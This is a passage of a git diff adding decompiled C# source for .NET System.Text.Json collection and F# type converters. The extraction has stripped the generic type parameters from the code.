options.GetConverterInternal(type) }; + break; + } + case FSharpCoreReflectionProxy.FSharpKind.ValueOption: + { + Type type = typeToConvert.GetGenericArguments()[0]; + type2 = typeof(FSharpValueOptionConverter<, >).MakeGenericType(typeToConvert, type); + args = new object[1] { options.GetConverterInternal(type) }; + break; + } + case FSharpCoreReflectionProxy.FSharpKind.List: + { + Type type = typeToConvert.GetGenericArguments()[0]; + type2 = typeof(FSharpListConverter<, >).MakeGenericType(typeToConvert, type); + break; + } + case FSharpCoreReflectionProxy.FSharpKind.Set: + { + Type type = typeToConvert.GetGenericArguments()[0]; + type2 = typeof(FSharpSetConverter<, >).MakeGenericType(typeToConvert, type); + break; + } + case FSharpCoreReflectionProxy.FSharpKind.Map: + { + Type[] genericArguments = typeToConvert.GetGenericArguments(); + Type type3 = genericArguments[0]; + Type type4 = genericArguments[1]; + type2 = typeof(FSharpMapConverter<, , >).MakeGenericType(typeToConvert, type3, type4); + break; + } + case FSharpCoreReflectionProxy.FSharpKind.Record: + { + ObjectConverterFactory objectConverterFactory = _recordConverterFactory ?? (_recordConverterFactory = new ObjectConverterFactory(useDefaultConstructorInUnannotatedStructs: false)); + return objectConverterFactory.CreateConverter(typeToConvert, options); + } + case FSharpCoreReflectionProxy.FSharpKind.Union: + return UnsupportedTypeConverterFactory.CreateUnsupportedConverterForType(typeToConvert, System.SR.FSharpDiscriminatedUnionsNotSupported); + default: + throw new Exception(); + } + return (JsonConverter)Activator.CreateInstance(type2, args); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpValueOptionConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpValueOptionConverter.cs new file mode 100644 index 0000000..234004d --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpValueOptionConverter.cs @@ -0,0 +1,77 @@ +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class FSharpValueOptionConverter : JsonConverter where TValueOption : struct, IEquatable +{ + private readonly JsonConverter _elementConverter; + + private readonly FSharpCoreReflectionProxy.StructGetter _optionValueGetter; + + private readonly Func _optionConstructor; + + internal override Type ElementType => typeof(TElement); + + public override bool HandleNull => true; + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public FSharpValueOptionConverter(JsonConverter elementConverter) + { + _elementConverter = elementConverter; + _optionValueGetter = FSharpCoreReflectionProxy.Instance.CreateFSharpValueOptionValueGetter(); + _optionConstructor = FSharpCoreReflectionProxy.Instance.CreateFSharpValueOptionSomeConstructor(); + base.ConverterStrategy = elementConverter.ConverterStrategy; + } + + internal override bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out TValueOption value) + { + if (!state.IsContinuation && reader.TokenType == JsonTokenType.Null) + { + value = default(TValueOption); + return true; + } + state.Current.JsonPropertyInfo = state.Current.JsonTypeInfo.ElementTypeInfo.PropertyInfoForTypeInfo; + if (_elementConverter.TryRead(ref reader, typeof(TElement), options, ref state, out var value2, out var _)) + { + value = _optionConstructor(value2); + return true; + } + value = default(TValueOption); + return false; + } + + internal override bool OnTryWrite(Utf8JsonWriter writer, TValueOption value, JsonSerializerOptions options, ref WriteStack state) + { + if (value.Equals(default(TValueOption))) + { + writer.WriteNullValue(); + return true; + } + TElement value2 = _optionValueGetter(ref value); + state.Current.JsonPropertyInfo = state.Current.JsonTypeInfo.ElementTypeInfo.PropertyInfoForTypeInfo; + return _elementConverter.TryWrite(writer, in value2, options, ref state); + } + + public override void Write(Utf8JsonWriter writer, TValueOption value, JsonSerializerOptions options) + { + if (value.Equals(default(TValueOption))) + { + writer.WriteNullValue(); + return; + } + TElement value2 = _optionValueGetter(ref value); + _elementConverter.Write(writer, value2, options); + } + + public override TValueOption Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.Null) + { + return default(TValueOption); + } + TElement arg = _elementConverter.Read(ref reader, typeToConvert, options); + return _optionConstructor(arg); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/GuidConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/GuidConverter.cs new file mode 100644 index 0000000..0849fa3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/GuidConverter.cs @@ -0,0 +1,24 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class GuidConverter : JsonPrimitiveConverter +{ + public override Guid Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetGuid(); + } + + public override void Write(Utf8JsonWriter writer, Guid value, JsonSerializerOptions options) + { + writer.WriteStringValue(value); + } + + internal override Guid ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetGuidNoValidation(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, Guid value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IAsyncEnumerableOfTConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IAsyncEnumerableOfTConverter.cs new file mode 100644 index 0000000..faaec18 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IAsyncEnumerableOfTConverter.cs @@ -0,0 +1,108 @@ +using System.Collections.Generic; +using System.Threading; +using System.Threading.Tasks; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class IAsyncEnumerableOfTConverter : JsonCollectionConverter where TAsyncEnumerable : IAsyncEnumerable +{ + private sealed class BufferedAsyncEnumerable : IAsyncEnumerable + { + public readonly List _buffer = new List(); + + public async IAsyncEnumerator GetAsyncEnumerator(CancellationToken _) + { + foreach (TElement item in _buffer) + { + yield return item; + } + } + } + + internal override bool SupportsCreateObjectDelegate => false; + + internal override bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out TAsyncEnumerable value) + { + if (!typeToConvert.IsAssignableFrom(typeof(IAsyncEnumerable))) + { + ThrowHelper.ThrowNotSupportedException_CannotPopulateCollection(Type, ref reader, ref state); + } + return base.OnTryRead(ref reader, typeToConvert, options, ref state, out value); + } + + protected override void Add(in TElement value, ref ReadStack state) + { + ((BufferedAsyncEnumerable)state.Current.ReturnValue)._buffer.Add(value); + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + state.Current.ReturnValue = new BufferedAsyncEnumerable(); + } + + internal override bool OnTryWrite(Utf8JsonWriter writer, TAsyncEnumerable value, JsonSerializerOptions options, ref WriteStack state) + { + if (!state.SupportAsync) + { + ThrowHelper.ThrowNotSupportedException_TypeRequiresAsyncSerialization(Type); + } + return base.OnTryWrite(writer, value, options, ref state); + } + + protected override bool OnWriteResume(Utf8JsonWriter writer, TAsyncEnumerable value, JsonSerializerOptions options, ref WriteStack state) + { + IAsyncEnumerator asyncEnumerator; + ValueTask valueTask; + if (state.Current.AsyncDisposable == null) + { + asyncEnumerator = value.GetAsyncEnumerator(state.CancellationToken); + state.Current.AsyncDisposable = asyncEnumerator; + valueTask = asyncEnumerator.MoveNextAsync(); + if (!valueTask.IsCompleted) + { + state.SuppressFlush = true; + goto IL_0106; + } + } + else + { + asyncEnumerator = (IAsyncEnumerator)state.Current.AsyncDisposable; + if (state.Current.AsyncEnumeratorIsPendingCompletion) + { + valueTask = new ValueTask((Task)state.PendingTask); + state.Current.AsyncEnumeratorIsPendingCompletion = false; + state.PendingTask = null; + } + else + { + valueTask = new ValueTask(result: true); + } + } + JsonConverter elementConverter = JsonCollectionConverter.GetElementConverter(ref state); + do + { + if (!valueTask.Result) + { + state.Current.AsyncDisposable = null; + state.AddCompletedAsyncDisposable(asyncEnumerator); + return true; + } + if (JsonConverter.ShouldFlush(writer, ref state)) + { + return false; + } + if (!elementConverter.TryWrite(writer, asyncEnumerator.Current, options, ref state)) + { + return false; + } + state.Current.EndCollectionElement(); + valueTask = asyncEnumerator.MoveNextAsync(); + } + while (valueTask.IsCompleted); + goto IL_0106; + IL_0106: + state.PendingTask = valueTask.AsTask(); + state.Current.AsyncEnumeratorIsPendingCompletion = true; + return false; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ICollectionOfTConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ICollectionOfTConverter.cs new file mode 100644 index 0000000..f020ba8 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ICollectionOfTConverter.cs @@ -0,0 +1,37 @@ +using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class ICollectionOfTConverter : IEnumerableDefaultConverter where TCollection : ICollection +{ + internal override bool CanPopulate => true; + + protected override void Add(in TElement value, ref ReadStack state) + { + TCollection val = (TCollection)state.Current.ReturnValue; + val.Add(value); + if (base.IsValueType) + { + state.Current.ReturnValue = val; + } + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + base.CreateCollection(ref reader, ref state, options); + if (((TCollection)state.Current.ReturnValue).IsReadOnly) + { + state.Current.ReturnValue = null; + ThrowHelper.ThrowNotSupportedException_CannotPopulateCollection(Type, ref reader, ref state); + } + } + + internal override void ConfigureJsonTypeInfo(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + if (jsonTypeInfo.CreateObject == null && Type.IsAssignableFrom(typeof(List))) + { + jsonTypeInfo.CreateObject = () => new List(); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IDictionaryConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IDictionaryConverter.cs new file mode 100644 index 0000000..f3ed81f --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IDictionaryConverter.cs @@ -0,0 +1,94 @@ +using System.Collections; +using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class IDictionaryConverter : JsonDictionaryConverter where TDictionary : IDictionary +{ + internal override bool CanPopulate => true; + + protected override void Add(string key, in object value, JsonSerializerOptions options, ref ReadStack state) + { + TDictionary val = (TDictionary)state.Current.ReturnValue; + val[key] = value; + if (base.IsValueType) + { + state.Current.ReturnValue = val; + } + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state) + { + base.CreateCollection(ref reader, ref state); + if (((TDictionary)state.Current.ReturnValue).IsReadOnly) + { + state.Current.ReturnValue = null; + ThrowHelper.ThrowNotSupportedException_CannotPopulateCollection(Type, ref reader, ref state); + } + } + + protected internal override bool OnWriteResume(Utf8JsonWriter writer, TDictionary value, JsonSerializerOptions options, ref WriteStack state) + { + IDictionaryEnumerator dictionaryEnumerator; + if (state.Current.CollectionEnumerator == null) + { + dictionaryEnumerator = value.GetEnumerator(); + if (!dictionaryEnumerator.MoveNext()) + { + return true; + } + } + else + { + dictionaryEnumerator = (IDictionaryEnumerator)state.Current.CollectionEnumerator; + } + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + if (_valueConverter == null) + { + _valueConverter = JsonDictionaryConverter.GetConverter(jsonTypeInfo.ElementTypeInfo); + } + do + { + if (JsonConverter.ShouldFlush(writer, ref state)) + { + state.Current.CollectionEnumerator = dictionaryEnumerator; + return false; + } + if ((int)state.Current.PropertyState < 2) + { + state.Current.PropertyState = StackFramePropertyState.Name; + object key = dictionaryEnumerator.Key; + if (key is string value2) + { + if (_keyConverter == null) + { + _keyConverter = JsonDictionaryConverter.GetConverter(jsonTypeInfo.KeyTypeInfo); + } + _keyConverter.WriteAsPropertyNameCore(writer, value2, options, state.Current.IsWritingExtensionDataProperty); + } + else + { + _valueConverter.WriteAsPropertyNameCore(writer, key, options, state.Current.IsWritingExtensionDataProperty); + } + } + object value3 = dictionaryEnumerator.Value; + if (!_valueConverter.TryWrite(writer, in value3, options, ref state)) + { + state.Current.CollectionEnumerator = dictionaryEnumerator; + return false; + } + state.Current.EndDictionaryEntry(); + } + while (dictionaryEnumerator.MoveNext()); + return true; + } + + internal override void ConfigureJsonTypeInfo(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + if (jsonTypeInfo.CreateObject == null && Type.IsAssignableFrom(typeof(Dictionary))) + { + jsonTypeInfo.CreateObject = () => new Dictionary(); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IDictionaryOfTKeyTValueConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IDictionaryOfTKeyTValueConverter.cs new file mode 100644 index 0000000..bf6f0df --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IDictionaryOfTKeyTValueConverter.cs @@ -0,0 +1,37 @@ +using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class IDictionaryOfTKeyTValueConverter : DictionaryDefaultConverter where TDictionary : IDictionary +{ + internal override bool CanPopulate => true; + + protected override void Add(TKey key, in TValue value, JsonSerializerOptions options, ref ReadStack state) + { + TDictionary val = (TDictionary)state.Current.ReturnValue; + val[key] = value; + if (base.IsValueType) + { + state.Current.ReturnValue = val; + } + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state) + { + base.CreateCollection(ref reader, ref state); + if (((TDictionary)state.Current.ReturnValue).IsReadOnly) + { + state.Current.ReturnValue = null; + ThrowHelper.ThrowNotSupportedException_CannotPopulateCollection(Type, ref reader, ref state); + } + } + + internal override void ConfigureJsonTypeInfo(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + if (jsonTypeInfo.CreateObject == null && Type.IsAssignableFrom(typeof(Dictionary))) + { + jsonTypeInfo.CreateObject = () => new Dictionary(); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IEnumerableConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IEnumerableConverter.cs new file mode 100644 index 0000000..30154ce --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IEnumerableConverter.cs @@ -0,0 +1,59 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class IEnumerableConverter : JsonCollectionConverter where TCollection : IEnumerable +{ + private readonly bool _isDeserializable = typeof(TCollection).IsAssignableFrom(typeof(List)); + + internal override bool SupportsCreateObjectDelegate => false; + + protected override void Add(in object value, ref ReadStack state) + { + ((List)state.Current.ReturnValue).Add(value); + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + if (!_isDeserializable) + { + ThrowHelper.ThrowNotSupportedException_CannotPopulateCollection(Type, ref reader, ref state); + } + state.Current.ReturnValue = new List(); + } + + protected override bool OnWriteResume(Utf8JsonWriter writer, TCollection value, JsonSerializerOptions options, ref WriteStack state) + { + IEnumerator enumerator; + if (state.Current.CollectionEnumerator == null) + { + enumerator = value.GetEnumerator(); + if (!enumerator.MoveNext()) + { + return true; + } + } + else + { + enumerator = state.Current.CollectionEnumerator; + } + JsonConverter elementConverter = JsonCollectionConverter.GetElementConverter(ref state); + do + { + if (JsonConverter.ShouldFlush(writer, ref state)) + { + state.Current.CollectionEnumerator = enumerator; + return false; + } + if (!elementConverter.TryWrite(writer, enumerator.Current, options, ref state)) + { + state.Current.CollectionEnumerator = enumerator; + return false; + } + state.Current.EndCollectionElement(); + } + while (enumerator.MoveNext()); + return true; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IEnumerableConverterFactory.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IEnumerableConverterFactory.cs new file mode 100644 index 0000000..b2526ea --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IEnumerableConverterFactory.cs @@ -0,0 +1,158 @@ +using System.Collections; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Reflection; +using System.Text.Json.Reflection; + +namespace System.Text.Json.Serialization.Converters; + +[RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] +internal sealed class IEnumerableConverterFactory : JsonConverterFactory +{ + private static readonly IDictionaryConverter s_converterForIDictionary = new IDictionaryConverter(); + + private static readonly IEnumerableConverter s_converterForIEnumerable = new IEnumerableConverter(); + + private static readonly IListConverter s_converterForIList = new IListConverter(); + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + public IEnumerableConverterFactory() + { + } + + public override bool CanConvert(Type typeToConvert) + { + return typeof(IEnumerable).IsAssignableFrom(typeToConvert); + } + + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2026:RequiresUnreferencedCode", Justification = "The ctor is marked RequiresUnreferencedCode.")] + public override JsonConverter CreateConverter(Type typeToConvert, JsonSerializerOptions options) + { + Type type = null; + Type type2 = null; + Type typeFromHandle; + Type compatibleGenericBaseClass; + if (typeToConvert.IsArray) + { + if (typeToConvert.GetArrayRank() > 1) + { + return UnsupportedTypeConverterFactory.CreateUnsupportedConverterForType(typeToConvert); + } + typeFromHandle = typeof(ArrayConverter<, >); + type = typeToConvert.GetElementType(); + } + else if ((compatibleGenericBaseClass = typeToConvert.GetCompatibleGenericBaseClass(typeof(List<>))) != null) + { + typeFromHandle = typeof(ListOfTConverter<, >); + type = compatibleGenericBaseClass.GetGenericArguments()[0]; + } + else if ((compatibleGenericBaseClass = typeToConvert.GetCompatibleGenericBaseClass(typeof(Dictionary<, >))) != null) + { + Type[] genericArguments = compatibleGenericBaseClass.GetGenericArguments(); + typeFromHandle = typeof(DictionaryOfTKeyTValueConverter<, , >); + type2 = genericArguments[0]; + type = genericArguments[1]; + } + else if (typeToConvert.IsImmutableDictionaryType()) + { + Type[] genericArguments = typeToConvert.GetGenericArguments(); + typeFromHandle = typeof(ImmutableDictionaryOfTKeyTValueConverterWithReflection<, , >); + type2 = genericArguments[0]; + type = genericArguments[1]; + } + else if ((compatibleGenericBaseClass = typeToConvert.GetCompatibleGenericInterface(typeof(IDictionary<, >))) != null) + { + Type[] genericArguments = compatibleGenericBaseClass.GetGenericArguments(); + typeFromHandle = typeof(IDictionaryOfTKeyTValueConverter<, , >); + type2 = genericArguments[0]; + type = genericArguments[1]; + } + else if ((compatibleGenericBaseClass = typeToConvert.GetCompatibleGenericInterface(typeof(IReadOnlyDictionary<, >))) != null) + { + Type[] genericArguments = compatibleGenericBaseClass.GetGenericArguments(); + typeFromHandle = typeof(IReadOnlyDictionaryOfTKeyTValueConverter<, , >); + type2 = genericArguments[0]; + type = genericArguments[1]; + } + else if (typeToConvert.IsImmutableEnumerableType()) + { + typeFromHandle = typeof(ImmutableEnumerableOfTConverterWithReflection<, >); + type = typeToConvert.GetGenericArguments()[0]; + } + else if ((compatibleGenericBaseClass = typeToConvert.GetCompatibleGenericInterface(typeof(IList<>))) != null) + { + typeFromHandle = typeof(IListOfTConverter<, >); + type = compatibleGenericBaseClass.GetGenericArguments()[0]; + } + else if ((compatibleGenericBaseClass = typeToConvert.GetCompatibleGenericInterface(typeof(ISet<>))) != null) + { + typeFromHandle = typeof(ISetOfTConverter<, >); + type = compatibleGenericBaseClass.GetGenericArguments()[0]; + } + else if ((compatibleGenericBaseClass = typeToConvert.GetCompatibleGenericInterface(typeof(ICollection<>))) != null) + { + typeFromHandle = typeof(ICollectionOfTConverter<, >); + type = compatibleGenericBaseClass.GetGenericArguments()[0]; + } + else if ((compatibleGenericBaseClass = typeToConvert.GetCompatibleGenericBaseClass(typeof(Stack<>))) != null) + { + typeFromHandle = typeof(StackOfTConverter<, >); + type = compatibleGenericBaseClass.GetGenericArguments()[0]; + } + else if ((compatibleGenericBaseClass = typeToConvert.GetCompatibleGenericBaseClass(typeof(Queue<>))) != null) + { + typeFromHandle = typeof(QueueOfTConverter<, >); + type = compatibleGenericBaseClass.GetGenericArguments()[0]; + } + else if ((compatibleGenericBaseClass = typeToConvert.GetCompatibleGenericBaseClass(typeof(ConcurrentStack<>))) != null) + { + typeFromHandle = typeof(ConcurrentStackOfTConverter<, >); + type = compatibleGenericBaseClass.GetGenericArguments()[0]; + } + else if ((compatibleGenericBaseClass = typeToConvert.GetCompatibleGenericBaseClass(typeof(ConcurrentQueue<>))) != null) + { + typeFromHandle = typeof(ConcurrentQueueOfTConverter<, >); + type = compatibleGenericBaseClass.GetGenericArguments()[0]; + } + else if ((compatibleGenericBaseClass = typeToConvert.GetCompatibleGenericInterface(typeof(IEnumerable<>))) != null) + { + typeFromHandle = typeof(IEnumerableOfTConverter<, >); + type = compatibleGenericBaseClass.GetGenericArguments()[0]; + } + else if (typeof(IDictionary).IsAssignableFrom(typeToConvert)) + { + if (typeToConvert == typeof(IDictionary)) + { + return s_converterForIDictionary; + } + typeFromHandle = typeof(IDictionaryConverter<>); + } + else if (typeof(IList).IsAssignableFrom(typeToConvert)) + { + if (typeToConvert == typeof(IList)) + { + return s_converterForIList; + } + typeFromHandle = typeof(IListConverter<>); + } + else if (typeToConvert.IsNonGenericStackOrQueue()) + { + typeFromHandle = typeof(StackOrQueueConverterWithReflection<>); + } + else + { + if (typeToConvert == typeof(IEnumerable)) + { + return s_converterForIEnumerable; + } + typeFromHandle = typeof(IEnumerableConverter<>); + } + return (JsonConverter)Activator.CreateInstance(typeFromHandle.GetGenericArguments().Length switch + { + 1 => typeFromHandle.MakeGenericType(typeToConvert), + 2 => typeFromHandle.MakeGenericType(typeToConvert, type), + _ => typeFromHandle.MakeGenericType(typeToConvert, type2, type), + }, BindingFlags.Instance | BindingFlags.Public, null, null, null); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IEnumerableDefaultConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IEnumerableDefaultConverter.cs new file mode 100644 index 0000000..7af7cf3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IEnumerableDefaultConverter.cs @@ -0,0 +1,44 @@ +using System.Collections.Generic; + +namespace System.Text.Json.Serialization.Converters; + +internal abstract class IEnumerableDefaultConverter : JsonCollectionConverter where TCollection : IEnumerable +{ + internal override bool CanHaveMetadata => true; + + protected override bool OnWriteResume(Utf8JsonWriter writer, TCollection value, JsonSerializerOptions options, ref WriteStack state) + { + IEnumerator enumerator; + if (state.Current.CollectionEnumerator == null) + { + enumerator = value.GetEnumerator(); + if (!enumerator.MoveNext()) + { + enumerator.Dispose(); + return true; + } + } + else + { + enumerator = (IEnumerator)state.Current.CollectionEnumerator; + } + JsonConverter elementConverter = JsonCollectionConverter.GetElementConverter(ref state); + do + { + if (JsonConverter.ShouldFlush(writer, ref state)) + { + state.Current.CollectionEnumerator = enumerator; + return false; + } + if (!elementConverter.TryWrite(writer, enumerator.Current, options, ref state)) + { + state.Current.CollectionEnumerator = enumerator; + return false; + } + state.Current.EndCollectionElement(); + } + while (enumerator.MoveNext()); + enumerator.Dispose(); + return true; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IEnumerableOfTConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IEnumerableOfTConverter.cs new file mode 100644 index 0000000..f17cdc3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IEnumerableOfTConverter.cs @@ -0,0 +1,24 @@ +using System.Collections.Generic; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class IEnumerableOfTConverter : IEnumerableDefaultConverter where TCollection : IEnumerable +{ + private readonly bool _isDeserializable = typeof(TCollection).IsAssignableFrom(typeof(List)); + + internal override bool SupportsCreateObjectDelegate => false; + + protected override void Add(in TElement value, ref ReadStack state) + { + ((List)state.Current.ReturnValue).Add(value); + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + if (!_isDeserializable) + { + ThrowHelper.ThrowNotSupportedException_CannotPopulateCollection(Type, ref reader, ref state); + } + state.Current.ReturnValue = new List(); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IListConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IListConverter.cs new file mode 100644 index 0000000..58f7db6 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IListConverter.cs @@ -0,0 +1,70 @@ +using System.Collections; +using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class IListConverter : JsonCollectionConverter where TCollection : IList +{ + internal override bool CanPopulate => true; + + protected override void Add(in object value, ref ReadStack state) + { + TCollection val = (TCollection)state.Current.ReturnValue; + val.Add(value); + if (base.IsValueType) + { + state.Current.ReturnValue = val; + } + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + base.CreateCollection(ref reader, ref state, options); + if (((TCollection)state.Current.ReturnValue).IsReadOnly) + { + state.Current.ReturnValue = null; + ThrowHelper.ThrowNotSupportedException_CannotPopulateCollection(Type, ref reader, ref state); + } + } + + protected override bool OnWriteResume(Utf8JsonWriter writer, TCollection value, JsonSerializerOptions options, ref WriteStack state) + { + IList list = value; + int i = state.Current.EnumeratorIndex; + JsonConverter elementConverter = JsonCollectionConverter.GetElementConverter(ref state); + if (elementConverter.CanUseDirectReadOrWrite && !state.Current.NumberHandling.HasValue) + { + for (; i < list.Count; i++) + { + elementConverter.Write(writer, list[i], options); + } + } + else + { + for (; i < list.Count; i++) + { + if (!elementConverter.TryWrite(writer, list[i], options, ref state)) + { + state.Current.EnumeratorIndex = i; + return false; + } + state.Current.EndCollectionElement(); + if (JsonConverter.ShouldFlush(writer, ref state)) + { + i = (state.Current.EnumeratorIndex = i + 1); + return false; + } + } + } + return true; + } + + internal override void ConfigureJsonTypeInfo(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + if (jsonTypeInfo.CreateObject == null && Type.IsAssignableFrom(typeof(List))) + { + jsonTypeInfo.CreateObject = () => new List(); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IListOfTConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IListOfTConverter.cs new file mode 100644 index 0000000..eb95386 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IListOfTConverter.cs @@ -0,0 +1,37 @@ +using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class IListOfTConverter : IEnumerableDefaultConverter where TCollection : IList +{ + internal override bool CanPopulate => true; + + protected override void Add(in TElement value, ref ReadStack state) + { + TCollection val = (TCollection)state.Current.ReturnValue; + val.Add(value); + if (base.IsValueType) + { + state.Current.ReturnValue = val; + } + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + base.CreateCollection(ref reader, ref state, options); + if (((TCollection)state.Current.ReturnValue).IsReadOnly) + { + state.Current.ReturnValue = null; + ThrowHelper.ThrowNotSupportedException_CannotPopulateCollection(Type, ref reader, ref state); + } + } + + internal override void ConfigureJsonTypeInfo(JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options) + { + if (jsonTypeInfo.CreateObject == null && Type.IsAssignableFrom(typeof(List))) + { + jsonTypeInfo.CreateObject = () => new List(); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IReadOnlyDictionaryOfTKeyTValueConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IReadOnlyDictionaryOfTKeyTValueConverter.cs new file mode 100644 index 0000000..5452819 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/IReadOnlyDictionaryOfTKeyTValueConverter.cs @@ -0,0 +1,24 @@ +using System.Collections.Generic; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class IReadOnlyDictionaryOfTKeyTValueConverter : DictionaryDefaultConverter where TDictionary : IReadOnlyDictionary +{ + private readonly bool _isDeserializable = typeof(TDictionary).IsAssignableFrom(typeof(Dictionary)); + + internal override bool SupportsCreateObjectDelegate => false; + + protected override void Add(TKey key, in TValue value, JsonSerializerOptions options, ref ReadStack state) + { + ((Dictionary)state.Current.ReturnValue)[key] = value; + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state) + { + if (!_isDeserializable) + { + ThrowHelper.ThrowNotSupportedException_CannotPopulateCollection(Type, ref reader, ref state); + } + state.Current.ReturnValue = new Dictionary(); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ISetOfTConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ISetOfTConverter.cs new file mode 100644 index 0000000..3ae1820 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ISetOfTConverter.cs @@ -0,0 +1,37 @@ 